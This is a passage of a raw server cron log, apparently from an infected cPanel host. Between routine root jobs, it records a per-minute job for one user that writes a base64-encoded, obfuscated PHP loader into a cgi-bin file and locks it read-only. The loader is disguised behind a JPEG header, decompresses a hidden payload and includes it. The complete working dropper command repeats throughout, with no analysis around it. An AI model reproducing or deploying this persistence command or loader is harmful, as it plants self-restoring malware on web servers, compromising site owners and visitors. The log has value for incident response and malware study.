"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:25:01 server CROND[7548]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 15:25:01 server CROND[7550]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 15:25:01 server CROND[7549]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:26:01 server CROND[7662]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:27:01 server CROND[7743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:27:01 server CROND[7744]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 15:28:01 server CROND[7903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:29:01 server CROND[7993]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:30:01 server CROND[8044]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 15:30:01 server CROND[8045]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 15:30:01 server CROND[8046]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:30:01 server CROND[8047]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 15:31:01 server CROND[8169]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:32:01 server CROND[8228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:33:01 server CROND[8384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:34:01 server CROND[8450]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:35:02 server CROND[8501]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 15:35:02 server CROND[8503]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  8 15:35:02 server CROND[8505]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 15:35:02 server CROND[8506]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:35:02 server CROND[8504]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 15:36:01 server CROND[8630]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:37:01 server CROND[8670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0t